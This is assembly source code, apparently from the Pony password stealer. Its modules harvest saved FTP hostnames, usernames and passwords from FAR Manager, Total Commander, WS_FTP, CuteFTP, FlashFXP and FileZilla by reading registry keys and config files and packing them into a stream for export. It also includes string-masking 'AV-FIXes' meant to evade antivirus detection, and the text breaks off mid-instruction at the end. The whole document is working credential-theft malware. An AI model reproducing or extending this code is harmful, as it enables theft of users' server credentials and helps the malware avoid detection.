CFarBasePath1 db "Software\Far\Plugins\FTP\Hosts",0 CFarBasePath2 db "Software\Far2\Plugins\FTP\Hosts",0 CFarBasePath3 db "Software\Far Manager\Plugins\FTP\Hosts",0 CFarHistPath1 db "Software\Far\SavedDialogHistory\FTPHost",0 CFarHistPath2 db "Software\Far2\SavedDialogHistory\FTPHost",0 CFarHistPath3 db "Software\Far Manager\SavedDialogHistory\FTPHost",0 CFarPassword db "Password",0 CFarHost db "HostName",0 CFarUser db "User",0 CFarLine db "Line",0 .code FarScanHistory proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL ftp: DWORD LOCAL dwType: DWORD LOCAL dwLen: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumValue, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, addr dwType, NULL, NULL .IF eax .BREAK .ENDIF .IF (dwType != REG_SZ) && (dwType != REG_MULTI_SZ) inc KeyIndex .CONTINUE .ENDIF invoke StrStrI, addr lpBuf, addr CFarLine .IF eax invoke RegReadValueStr, dwCurrentUserKey, BasePath, addr lpBuf, addr dwLen .IF eax mov ftp, eax ; export data, type = 0001: FTP URI invoke StreamWriteDWORD, stream, ITEMHDR_ID or 1 .IF dwType == REG_SZ invoke StreamWriteDWORD, stream, 0 .ELSE invoke StreamWriteDWORD, stream, 1 .ENDIF invoke StreamWriteBinaryString, stream, ftp, dwLen invoke MemFree, ftp .ENDIF .ENDIF inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret FarScanHistory endp FarScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CFarPassword, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFarHost, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, S, addr CFarUser, NULL mov User, eax .IF Password && Host && User ; export data, type = 0000: Host | User | Pass invoke StreamWriteDWORD, stream, ITEMHDR_ID or 0 invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User ; recursively scan sub-paths invoke FarScanReg, stream, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret FarScanReg endp GrabFarManager proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FAR, 0 mov hdr_ofs, eax ; FAR 1.x invoke FarScanReg, stream, addr CFarBasePath1 ; FAR 2.x invoke FarScanReg, stream, addr CFarBasePath2 ; FAR 3.x invoke FarScanReg, stream, addr CFarBasePath3 ; History FAR 1.x invoke FarScanHistory, stream, addr CFarHistPath1 ; History FAR 2.x invoke FarScanHistory, stream, addr CFarHistPath2 ; History FAR 3.x invoke FarScanHistory, stream, addr CFarHistPath3 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFarManager endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Windows/Total Commander built-in ftp client ; http://www.ghisler.com/ ; Tested: 7.56a ; Tested: 8.0B9 ; Tested: 8.0B12 x64 ; Tested: 8.0 64 bit (Release) ; Tested: 8.01 64 bit (Release) ; SFTP: not supported IFDEF COMPILE_MODULE_WTC .data CWTCIni db '_cx_ftp.ini',0 CWTCIniAppData db '\GHISLER',0 CWTCRegValue1 db 'InstallDir',0 CWTCRegValue2 db 'FtpIniName',0 CWTCRegPath1 db 'Software\_hisler\Windows Commander',0 CWTCRegPath2 db 'Software\_hisler\Total Commander',0 .code WTCProcessFile proc stream, path invoke CommonAppendFile, stream, path, ITEMHDR_ID ret WTCProcessFile endp WTCCommonProcessDir proc stream, dir .IF dir invoke CheckEndSlash, dir .IF !eax invoke PonyStrCatFreeArg1, dir, offset szSlash mov dir, eax .ENDIF ; Extra ini name invoke RegReadValueStr, dwCurrentUserKey, addr CWTCRegPath1, addr CWTCRegValue2, NULL .IF eax push eax invoke PonyStrCat, dir, eax push eax invoke WTCProcessFile, stream, eax call MemFree call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, addr CWTCRegPath1, addr CWTCRegValue2, NULL .IF eax push eax invoke PonyStrCat, dir, eax push eax invoke WTCProcessFile, stream, eax call MemFree call MemFree .ENDIF invoke RegReadValueStr, dwCurrentUserKey, addr CWTCRegPath2, addr CWTCRegValue2, NULL .IF eax push eax invoke PonyStrCat, dir, eax push eax invoke WTCProcessFile, stream, eax call MemFree call MemFree .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, addr CWTCRegPath2, addr CWTCRegValue2, NULL .IF eax push eax invoke PonyStrCat, dir, eax push eax invoke WTCProcessFile, stream, eax call MemFree call MemFree .ENDIF invoke PonyStrCat, dir, offset CWTCIni push eax invoke WTCProcessFile, stream, eax call MemFree invoke MemFree, dir .ENDIF ret WTCCommonProcessDir endp GrabWTC proc stream LOCAL hdr_ofs: DWORD LOCAL dir: DWORD LOCAL path: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WTC, 0 mov hdr_ofs, eax mov byte ptr[CWTCIni], 'w' mov byte ptr[CWTCRegPath1+9], 'G' mov byte ptr[CWTCRegPath2+9], 'G' ; Windows directory invoke MemAlloc, MAX_PATH+1 mov dir, eax invoke GetWindowsDirectory, dir, MAX_PATH .IF eax && eax <= MAX_PATH invoke WTCCommonProcessDir, stream, dir .ELSE invoke MemFree, dir .ENDIF ; Profile folder invoke SHGetFolderPathStr, CSIDL_PROFILE invoke WTCCommonProcessDir, stream, eax ; AppData folder invoke SHGetFolderPathStr, CSIDL_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset CWTCIniAppData invoke WTCCommonProcessDir, stream, eax .ENDIF ; Common AppData folder invoke SHGetFolderPathStr, CSIDL_COMMON_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset CWTCIniAppData invoke WTCCommonProcessDir, stream, eax .ENDIF ; Local AppData folder invoke SHGetFolderPathStr, CSIDL_LOCAL_APPDATA .IF eax invoke PonyStrCatFreeArg1, eax, offset CWTCIniAppData invoke WTCCommonProcessDir, stream, eax .ENDIF ; Registry paths invoke RegReadValueStr, dwCurrentUserKey, addr CWTCRegPath1, addr CWTCRegValue1, NULL invoke WTCCommonProcessDir, stream, eax invoke RegReadValueStr, dwCurrentUserKey, addr CWTCRegPath1, addr CWTCRegValue2, NULL .IF eax mov path, eax invoke WTCProcessFile, stream, path invoke MemFree, path .ENDIF invoke RegReadValueStr, dwCurrentUserKey, addr CWTCRegPath2, addr CWTCRegValue1, NULL invoke WTCCommonProcessDir, stream, eax invoke RegReadValueStr, dwCurrentUserKey, addr CWTCRegPath2, addr CWTCRegValue2, NULL .IF eax mov path, eax invoke WTCProcessFile, stream, path invoke MemFree, path .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, addr CWTCRegPath1, addr CWTCRegValue1, NULL invoke WTCCommonProcessDir, stream, eax invoke RegReadValueStr, HKEY_LOCAL_MACHINE, addr CWTCRegPath1, addr CWTCRegValue2, NULL .IF eax mov path, eax invoke WTCProcessFile, stream, path invoke MemFree, path .ENDIF invoke RegReadValueStr, HKEY_LOCAL_MACHINE, addr CWTCRegPath2, addr CWTCRegValue1, NULL invoke WTCCommonProcessDir, stream, eax invoke RegReadValueStr, HKEY_LOCAL_MACHINE, addr CWTCRegPath2, addr CWTCRegValue2, NULL .IF eax mov path, eax invoke WTCProcessFile, stream, path invoke MemFree, path .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWTC endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Ipswitch WS_FTP client ; http://www.ipswitch.com/ ; Tested: WS_FTP Pro 12.3 ; Tested: WS_FTP Pro 12.4 ; SFTP: implemented IFDEF COMPILE_MODULE_WS_FTP .data CWS_FTP_Path db "\Ipswitch",0 CWS_FTP_Sites db "Sites\",0 CWS_FTP_Dir db "\Ipswitch\WS_FTP",0 CWS_FTP_WinIni db "\win.ini",0 CWS_FTP_IniMask db ".ini",0 CWS_FTP_INI_Section db "WS_FTP",0 CWS_FTP_INI_ValName1 db "DIR",0 CWS_FTP_INI_ValName2 db "DEFDIR",0 .code WS_FTPProcessFile proc stream, path invoke CommonAppendFile, stream, path, ITEMHDR_ID ret WS_FTPProcessFile endp WS_FTPFindProfilesOld proc stream, dir, dwType LOCAL FindFileData: WIN32_FIND_DATA LOCAL hFind: DWORD LOCAL path: DWORD LOCAL ininame: DWORD mov path, 0 mov eax, dir .IF (!eax) || (!byte ptr[eax]) jmp @not_found .ENDIF invoke CheckEndSlash, dir .IF !eax invoke PonyStrCat, dir, offset CCommonFileMask .ELSE invoke PonyStrCat, dir, offset CCommonFileMaskNoSlash .ENDIF mov path, eax invoke ZeroMemory, addr FindFileData, sizeof WIN32_FIND_DATA invoke FindFirstFile, path, addr FindFileData mov hFind, eax inc eax jz @not_found @find_loop: lea edx, FindFileData test [edx].WIN32_FIND_DATA.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY .IF !ZERO? ; is directory, scan recursively ; skip "." and ".." path names lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePPoint, eax .IF !eax jmp @skip .ENDIF invoke PonyStrCat, dir, offset szSlash lea edx, FindFileData lea edx, [edx].WIN32_FIND_DATA.cFileName invoke PonyStrCatFreeArg1, eax, edx push eax invoke WS_FTPFindProfilesOld, stream, eax, dwType call MemFree jmp @skip .ENDIF lea eax, [edx].WIN32_FIND_DATA.cFileName mov ininame, eax invoke StrStrI, ininame, offset CWS_FTP_IniMask .IF eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame push eax push eax .IF dwType invoke StrStrI, eax, offset CWS_FTP_Sites .ELSE mov eax, TRUE .ENDIF pop edx .IF eax invoke WS_FTPProcessFile, stream, edx .ENDIF call MemFree .ENDIF @skip: invoke FindNextFile, hFind, addr FindFileData test eax, eax jnz @find_loop invoke FindClose, hFind @not_found: invoke MemFree, path ret WS_FTPFindProfilesOld endp WS_FTPFindProfiles proc stream, dwType, szPath LOCAL dir: DWORD mov dir, 0 invoke SHGetFolderPathStr, dwType .IF eax mov dir, eax invoke PonyStrCat, dir, szPath push eax invoke MemFree, dir pop dir .ENDIF invoke WS_FTPFindProfilesOld, stream, dir, TRUE invoke MemFree, dir ret WS_FTPFindProfiles endp GrabWS_FTP proc stream LOCAL hdr_ofs: DWORD LOCAL dir[MAX_PATH+1]: BYTE LOCAL path: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WS_FTP, 0 mov hdr_ofs, eax ; Windows directory invoke GetWindowsDirectory, addr dir, MAX_PATH .IF eax && eax <= MAX_PATH invoke PonyStrCat, addr dir, offset CWS_FTP_WinIni mov path, eax invoke GetPrivateProfileString, offset CWS_FTP_INI_Section, offset CWS_FTP_INI_ValName1, offset szNULL, addr dir, MAX_PATH, path .IF eax invoke WS_FTPFindProfilesOld, stream, addr dir, FALSE .ENDIF invoke GetPrivateProfileString, offset CWS_FTP_INI_Section, offset CWS_FTP_INI_ValName2, offset szNULL, addr dir, MAX_PATH, path .IF eax invoke WS_FTPFindProfilesOld, stream, addr dir, FALSE .ENDIF invoke MemFree, path .ENDIF ; Program Files\Common Data invoke SHGetFolderPathStr, CSIDL_PROGRAM_FILES_COMMON .IF eax invoke PonyStrCatFreeArg1, eax, offset CWS_FTP_Dir push eax invoke WS_FTPFindProfilesOld, stream, eax, FALSE call MemFree .ENDIF ; Application data folders invoke WS_FTPFindProfiles, stream, CSIDL_APPDATA, offset CWS_FTP_Path invoke WS_FTPFindProfiles, stream, CSIDL_COMMON_APPDATA, offset CWS_FTP_Path invoke WS_FTPFindProfiles, stream, CSIDL_LOCAL_APPDATA, offset CWS_FTP_Path invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWS_FTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; CuteFTP ; http://www.globalscape.com/ ; Tested: CuteFTP 8.3.4 Pro/Home/Lite ; SFTP: implemented IFDEF COMPILE_MODULE_CUTEFTP .data CCuteUninst db "CUTEFTP",0 CCuteFTP_RegValue db "QCHistory",0 CCuteFTP_RegPath1 db "Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar",0 CCuteFTP_RegPath2 db "Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar",0 CCuteFTP_RegPath3 db "Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar",0 CCuteFTP_RegPath4 db "Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar",0 CCuteFTP_RegPath5 db "Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar",0 CCuteFTP_RegPath6 db "Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar",0 CCuteFTP_RegPath7 db "Software\GlobalSCAPE\CuteFTP 9\QCToolbar",0 CCuteFTP_File1 db "\GlobalSCAPE\CuteFTP",0 CCuteFTP_File2 db "\GlobalSCAPE\CuteFTP Pro",0 CCuteFTP_File3 db "\GlobalSCAPE\CuteFTP Lite",0 CCuteFTP_File4 db "\CuteFTP",0 CCuteFTP_Filename db "\sm.dat",0 .code CuteFTPProcessFile proc stream, path invoke CommonAppendFile, stream, path, ITEMHDR_ID ret CuteFTPProcessFile endp CuteFTPProcessQuickConnections proc stream, path LOCAL len: DWORD LOCAL mem: DWORD mov len, 0 invoke RegReadValueStr, dwCurrentUserKey, path, offset CCuteFTP_RegValue, addr len .IF eax mov mem, eax invoke CommonAppendData, stream, mem, len, ITEMHDR_ID or 1 invoke MemFree, mem .ENDIF ret CuteFTPProcessQuickConnections endp CuteFTPFindDats proc stream, dir, filename LOCAL FindFileData: WIN32_FIND_DATA LOCAL hFind: DWORD LOCAL path: DWORD LOCAL ininame: DWORD mov path, 0 mov eax, dir .IF (!eax) || (!byte ptr[eax]) jmp @not_found .ENDIF invoke PonyStrCat, dir, filename push eax invoke CuteFTPProcessFile, stream, eax call MemFree invoke PonyStrCat, dir, offset CCommonFileMask mov path, eax invoke ZeroMemory, addr FindFileData, sizeof WIN32_FIND_DATA invoke FindFirstFile, path, addr FindFileData mov hFind, eax inc eax jz @not_found @find_loop: lea edx, FindFileData test [edx].WIN32_FIND_DATA.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY .IF !ZERO? ; skip "." and ".." paths lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName invoke lstrcmpi, offset szFilePPoint, eax .IF !eax jmp @skip .ENDIF lea edx, FindFileData lea eax, [edx].WIN32_FIND_DATA.cFileName mov ininame, eax invoke PonyStrCat, dir, offset szSlash invoke PonyStrCatFreeArg1, eax, ininame invoke PonyStrCatFreeArg1, eax, filename push eax invoke CuteFTPProcessFile, stream, eax call MemFree .ENDIF @skip: invoke FindNextFile, hFind, addr FindFileData test eax, eax jnz @find_loop invoke FindClose, hFind @not_found: invoke MemFree, path ret CuteFTPFindDats endp CommonCuteFTPGrab proc stream, csidl LOCAL path: DWORD invoke SHGetFolderPathStr, csidl mov path, eax .IF eax invoke PonyStrCat, path, offset CCuteFTP_File1 push eax invoke CuteFTPFindDats, stream, eax, offset CCuteFTP_Filename call MemFree invoke PonyStrCat, path, offset CCuteFTP_File2 push eax invoke CuteFTPFindDats, stream, eax, offset CCuteFTP_Filename call MemFree invoke PonyStrCat, path, offset CCuteFTP_File3 push eax invoke CuteFTPFindDats, stream, eax, offset CCuteFTP_Filename call MemFree invoke PonyStrCat, path, offset CCuteFTP_File4 push eax invoke CuteFTPFindDats, stream, eax, offset CCuteFTP_Filename call MemFree invoke MemFree, path .ENDIF ret CommonCuteFTPGrab endp GrabCuteFTP proc uses edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_CUTEFTP, 0 mov hdr_ofs, eax ; installed list mov edi, lpInstalledList .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CCuteUninst .IF eax invoke ExtractFilePath, edi .IF eax push eax invoke CuteFTPFindDats, stream, eax, offset CCuteFTP_Filename call MemFree .ENDIF .ENDIF @Next @n .ENDIF ; application data invoke CommonCuteFTPGrab, stream, CSIDL_APPDATA invoke CommonCuteFTPGrab, stream, CSIDL_COMMON_APPDATA invoke CommonCuteFTPGrab, stream, CSIDL_LOCAL_APPDATA invoke CommonCuteFTPGrab, stream, CSIDL_PROGRAM_FILES ; quick connection passwords stored in registry invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath1 invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath2 invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath3 invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath4 invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath5 invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath6 invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath7 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabCuteFTP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FlashFXP ; http://www.flashfxp.com/ ; Tested: v4.0 build 1548 ; Tested: v4.1.0 build 1615 ; Tested: v4.2.3 build 1771 ; SFTP: implemented IFDEF COMPILE_MODULE_FLASHFXP .data CFlashFXP_RegPath1 db '_oftware\FlashFXP\3',0 CFlashFXP_RegPath2 db '_oftware\FlashFXP',0 CFlashFXP_RegPath3 db '_oftware\FlashFXP\4',0 CFlashFXP_RegValue1 db 'InstallerDathPath',0 CFlashFXP_RegValue2 db 'path',0 CFlashFXP_RegValue3 db 'Install Path',0 CFlashFXP_RegValue4 db 'DataFolder',0 CFlashFXP_SiteName db '\Sites.dat',0 CFlashFXP_QuickName db '\Quick.dat',0 CFlashFXP_HistoryName db '\_istory.dat',0 CFlashFXP_AppDataDir1 db '\FlashFXP\3',0 CFlashFXP_AppDataDir2 db '\FlashFXP\4',0 .code FlashFXPProcessFile proc stream, path, dwType .IF path invoke CommonAppendFile, stream, path, dwType invoke MemFree, path .ENDIF ret FlashFXPProcessFile endp FlashFXPReg proc stream, Key, RegPath, RegValue LOCAL path: DWORD invoke RegReadValueStr, Key, RegPath, RegValue, NULL .IF eax mov path, eax invoke PonyStrCat, path, offset CFlashFXP_SiteName invoke FlashFXPProcessFile, stream, eax, ITEMHDR_ID or 0 invoke PonyStrCat, path, offset CFlashFXP_QuickName invoke FlashFXPProcessFile, stream, eax, ITEMHDR_ID or 1 invoke PonyStrCat, path, offset CFlashFXP_HistoryName invoke FlashFXPProcessFile, stream, eax, ITEMHDR_ID or 2 invoke MemFree, path .ENDIF ret FlashFXPReg endp ProcessFXPAppDataCommon proc stream, path, filename, dwType invoke PonyStrCat, path, offset CFlashFXP_AppDataDir1 invoke PonyStrCatFreeArg1, eax, filename invoke FlashFXPProcessFile, stream, eax, dwType invoke PonyStrCat, path, offset CFlashFXP_AppDataDir2 invoke PonyStrCatFreeArg1, eax, filename invoke FlashFXPProcessFile, stream, eax, dwType ret ProcessFXPAppDataCommon endp ProcessFXPAppData proc stream, csidl LOCAL path: DWORD invoke SHGetFolderPathStr, csidl .IF eax mov path, eax invoke ProcessFXPAppDataCommon, stream, path, offset CFlashFXP_SiteName, ITEMHDR_ID or 0 invoke ProcessFXPAppDataCommon, stream, path, offset CFlashFXP_QuickName, ITEMHDR_ID or 1 invoke ProcessFXPAppDataCommon, stream, path, offset CFlashFXP_HistoryName, ITEMHDR_ID or 2 invoke MemFree, path .ENDIF ret ProcessFXPAppData endp GrabFlashFXP proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FLASHFXP, 0 mov hdr_ofs, eax ; AV-FIXes mov byte ptr[CFlashFXP_RegPath1], 'S' mov byte ptr[CFlashFXP_RegPath2], 'S' mov byte ptr[CFlashFXP_RegPath3], 'S' mov byte ptr[CFlashFXP_HistoryName+1], 'H' invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath1, offset CFlashFXP_RegValue1 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath2, offset CFlashFXP_RegValue2 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath1, offset CFlashFXP_RegValue3 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath1, offset CFlashFXP_RegValue4 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue1 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue2 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue3 invoke FlashFXPReg, stream, dwCurrentUserKey, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue4 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath1, offset CFlashFXP_RegValue1 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath2, offset CFlashFXP_RegValue2 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath1, offset CFlashFXP_RegValue3 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath1, offset CFlashFXP_RegValue4 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue1 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue2 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue3 invoke FlashFXPReg, stream, HKEY_LOCAL_MACHINE, offset CFlashFXP_RegPath3, offset CFlashFXP_RegValue4 invoke ProcessFXPAppData, stream, CSIDL_APPDATA invoke ProcessFXPAppData, stream, CSIDL_COMMON_APPDATA invoke ProcessFXPAppData, stream, CSIDL_LOCAL_APPDATA invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFlashFXP endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FileZilla ; http://filezilla-project.org/ ; Tested 2.2.19a ; Tested 3.5.0 ; Tested 3.5.2 ; Tested 3.5.3 ; SFTP: implemented IFDEF COMPILE_MODULE_FILEZILLA .data CFileZillaFolder db '\FileZilla',0 CFileZillaFileName1 db '\sitemanager.xml',0 CFileZillaFileName2 db '\recentservers.xml',0 CFileZillaFileName3 db '\filezilla.xml',0 CFileZillaRegPath1 db 'Software\FileZilla',0 CFileZillaRegPath2 db 'Software\FileZilla Client',0 CFileZillaRegValue db 'Install_Dir',0 szFileZillaHost1 db 'Host',0 szFileZillaUser1 db 'User',0 szFileZillaPass1 db 'Pass',0 szFileZillaPort1 db 'Port',0 szFileZillaDir1 db 'Remote Dir',0 szFileZillaProt1 db 'Server Type',0 szFileZillaHost2 db 'Server.Host',0 szFileZillaUser2 db 'Server.User',0 szFileZillaPass2 db 'Server.Pass',0 szFileZillaPort2 db 'Server.Port',0 szFileZillaDir2 db 'Path',0 szFileZillaProt2 db 'ServerType',0 szFileZillaHost3 db 'Last Server Host',0 szFileZillaUser3 db 'Last Server User',0 szFileZillaPass3 db 'Last Server Pass',0 szFileZillaPort3 db 'Last Server Port',0 szFileZillaDir3 db 'Last Server Path',0 szFileZillaProt3 db 'Last Server Type',0 .code FileZillaGrabFiles proc stream, path .IF path invoke PonyStrCat, path, offset CFileZillaFileName1 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 0 call MemFree invoke PonyStrCat, path, offset CFileZillaFileName2 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1 call MemFree invoke PonyStrCat, path, offset CFileZillaFileName3 push eax invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 2 call MemFree .ENDIF ret FileZillaGrabFiles endp FileZillaCommonGrab proc stream, csidl invoke SHGetFolderPathStr, csidl .IF eax invoke PonyStrCatFreeArg1, eax, offset CFileZillaFolder push eax invoke FileZillaGrabFiles, stream, eax call MemFree .ENDIF ret FileZillaCommonGrab endp ; dwType(4): Port is stored as DWORD ; dwType(3): Port is stored as String FileZillaCommonRegRead proc stream, RegPath, lpFileZillaPass, lpFileZillaHost, lpFileZillaUser, lpFileZillaPort, lpFileZillaDir, lpFileZillaProt, dwType LOCAL Host: DWORD LOCAL User: DWORD LOCAL Password: DWORD LOCAL Port: DWORD LOCAL Dir: DWORD LOCAL PortLen: DWORD LOCAL Protocol: DWORD LOCAL ProtocolLen: DWORD invoke RegReadValueStr, dwCurrentUserKey, RegPath, lpFileZillaPass, NULL mov Password, eax invoke RegReadValueStr, dwCurrentUserKey, RegPath, lpFileZillaHost, NULL mov Host, eax invoke RegReadValueStr, dwCurrentUserKey, RegPath, lpFileZillaUser, NULL mov User, eax invoke RegReadValueStr, dwCurrentUserKey, RegPath, lpFileZillaPort, addr PortLen mov Port, eax invoke RegReadValueStr, dwCurrentUserKey, RegPath, lpFileZillaDir, NULL mov Dir, eax invoke RegReadValueStr, dwCurrentUserKey, RegPath, lpFileZillaProt, addr ProtocolLen mov Protocol, eax .IF Host && User && Password ; export data, type = 0003/0004: Host | User | Pass | Port | Dir ; export data, type = 0013/0014: Host | User | Pass | Port | Dir | Protocol invoke StreamWriteDWORD, stream, dwType invoke StreamWriteString, stream, Host invoke StreamWriteString, stream, User invoke StreamWriteString, stream, Password .IF dwType == ITEMHDR_ID or 13h ; Port stored as string (REG_SZ) invoke StreamWriteString, stream, Port .ELSE ; Port stored as DWORD (REG_DWORD) invoke StreamWriteBinaryString, stream, Port, PortLen .ENDIF invoke StreamWriteString, stream, Dir ; Export Protocol .IF Protocol && ProtocolLen == 4 mov eax, Protocol invoke StreamWriteDWORD, stream, dword ptr[eax] .ELSE invoke StreamWriteDWORD, stream, 0 .ENDIF .ENDIF invoke MemFree, Password invoke MemFree, Host invoke MemFree, User invoke MemFree, Port invoke MemFree, Dir invoke MemFree, Protocol ret FileZillaCommonRegRead endp FileZillaScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD invoke FileZillaCommonRegRead, stream, BasePath, addr szFileZillaPass1, addr szFileZillaHost1, addr szFileZillaUser1, addr szFileZillaPort1, addr szFileZillaDir1, addr szFileZillaProt1, ITEMHDR_ID or 13h invoke FileZillaCommonRegRead, stream, BasePath, addr szFileZillaPass2, addr szFileZillaHost2, addr szFileZillaUser2, addr szFileZillaPort2, addr szFileZillaDir2, addr szFileZillaProt2, ITEMHDR_ID or 13h invoke FileZillaCommonRegRead, stream, BasePath, addr szFileZillaPass3, addr szFileZillaHost3, addr szFileZillaUser3, addr szFileZillaPort3, addr szFileZillaDir3, addr szFileZillaProt3, ITEMHDR_ID or 14h invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF ; BasePath + '\' + lpBuf invoke PonyStrCat, BasePath, addr szSlash mov edx, eax invoke PonyStrCatFreeArg1, edx, addr lpBuf mov S, eax ; recursively scan subfolders invoke FileZillaScanReg, stream, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret FileZillaScanReg endp GrabFileZilla proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FILEZILLA, 0 mov 